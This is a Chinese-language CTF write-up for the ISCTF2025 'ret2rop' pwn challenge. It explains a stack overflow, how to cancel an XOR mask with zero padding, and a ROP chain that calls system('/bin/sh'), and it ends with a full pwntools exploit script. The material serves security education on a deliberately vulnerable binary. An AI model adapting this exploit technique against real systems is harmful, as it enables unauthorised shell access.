ret2rop
.png)
main函数:
.png)
vuln函数:
.png)
这题没有后门函数但是有system函数,且no pie,no canary,demo函数是给我们gadget的地址的,这里没有pop rdi,但是有pop rsi和mov rdi,rsi,效果一样,我们手动找也可以,核心漏洞点在vuln函数,我们可以看到先输入16字节的名字,然后有一个栈溢出,向frame读入256字节
.png)
这里frame是一个结构体
.png)
我们直接构造rop链就行了,但是这里还有一个阻碍,就是
if ( n > 0 )
{
for ( i = 0; i < n; ++i )
frame.buf[i] ^= frame.mask[i];
}
这里有一个异或操作,n的大小是我们read的字节数,这里用到xor的性质
- 可逆性 (加密与解密)
- 如果
A ^ B = C,那么C ^ B = A。 - 这意味着如果你再次用同一个掩码异或一次,数据就还原了。这就是为什么 XOR 常被用于简单的加密。
- 如果
- 恒等性 (Identity Property)
- 任何数和 0 进行异或,结果还是它自己。
- 公式:
A ^ 0 = A - 例子:
- 二进制
1010^0000=1010 - 十六进制
0x41^0x00=0x41
- 二进制
那我们填充时就要全部填充0,这样能防止n和i错乱和我们的rop链因为异或操作错乱,这里不仅mask的32字节要填充0,buf也要,因为mask[32]之后的(mask[33]......)就是buf[0]......,我们的rop链的主干部分小于32字节,所以n的大小不用管(题目没有/bin/sh,所以我们要存入,这里我们正好利用输入name来写入这个字符串),构造rop链就能getshell了
EXP:
p = process('./ret2rop')
#p = remote('challenge.bluesharkinfo.com',26419)
elf = ELF('./ret2rop')
system = elf.symbols['system']
bin_add = elf.symbols['name']
prsi = 0x401a1c
mov_rdi_rsi = elf.symbols['gadget_mov_rdi_rsi_ret']
rop = ROP(elf)
p.sendlineafter(b"if you want to watch demo", b"no")
p.sendlineafter(b"please int your name", b"/bin/sh\x00")
payload = flat([
b'A' * 32, #给getRandom吃掉
b'\x00' * 88,
prsi,
bin_add,
mov_rdi_rsi,
system
])
p.sendafter(b"please introduce yourself", payload)
p.interactive()
题目链接:
CTF-Writeups/ISCTF2025/ret2rop at main · ZenDuk17/CTF-Writeups
ret2rop
http://localhost:8080/archives/wei-ming-ming-wen-zhang-qZiO0Dh0